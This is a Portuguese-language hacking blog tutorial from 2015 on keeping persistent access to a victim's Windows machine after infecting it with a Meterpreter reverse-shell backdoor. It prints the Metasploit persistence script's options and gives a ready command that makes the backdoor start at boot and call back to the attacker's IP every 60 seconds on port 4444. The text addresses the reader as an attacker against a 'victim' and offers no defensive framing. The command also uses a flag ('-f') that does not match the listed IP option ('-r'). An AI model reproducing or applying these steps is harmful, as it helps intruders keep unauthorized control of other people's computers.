

Mantendo conexão com a vítima (Manutenção de Acesso)

[28 de abril de 2015](#) / [s0ph0s](#)

Como já vimos diversas vezes o ataque que utiliza a conexão reversa vemos que temos acesso total a máquina, mas muitas vezes quando acontece uma queda de conexão devido a um desligamento do dispositivo (computador) ou a queda da internet. Hoje veremos sobre como fazer uma manutenção de acesso que irá permitir todas as vezes que a vítima reconecte conosco de acordo com as opções que iremos setar na máquina alvo.

Ocorreu um erro.

Tente assistir o vídeo em www.youtube.com, ou ative o JavaScript caso ele esteja desativado em seu navegador.

Caso ainda não saiba como criar uma conexão reversa com a vítima clique [aqui](#) para conferir o tutorial.

Após ter feito infectado a vítima com sua backdoor, vamos configurar a manutenção de acesso.

run persistence -h

```
OPTIONS:
-A      Automatically start a matching multi/handler to connect to the agent
-L <opt> Location in target host where to write payload to, if none %TEMP% will be used.
-P <opt> Payload to use, default is windows/meterpreter/reverse_tcp.
-S      Automatically start the agent on boot as a service (with SYSTEM privileges)
-T <opt> Alternate executable template to use
-U      Automatically start the agent when the User logs on
-X      Automatically start the agent when the system boots
-h      This help menu
-i <opt> The interval in seconds between each connection attempt
-p <opt> The port on the remote host where Metasploit is listening
-r <opt> The IP of the system running Metasploit listening for the connect back
```

Nos trará todas as opções que podem ser listada para configuração de nosso acesso, sendo assim setamos as configurações necessárias para configuração de nosso acesso.

run persistence -A -X -i 60 -p 4444 -f (Seu_IP)

Esse comando nos permitirá:

- Conectar com a vítima automaticamente quando você estiver em modo listing utilizando o multi/handler.

Opção -A

- Quando o sistema der boot automaticamente será carregado o nosso processo (nossa backdoor será iniciada).

Opção -X

- Setaremos o intervalo em segundos para nossa conexão (No exemplo setamos com 60 segundos).

Opção -i 60

- A porta que conectamos, deverá ser a mesma criada pelo nosso Payload anteriormente, como a porta 4444 .

Opção -p 4444

- E nosso IP para receber a chamada.

Opção -f (Seu_IP)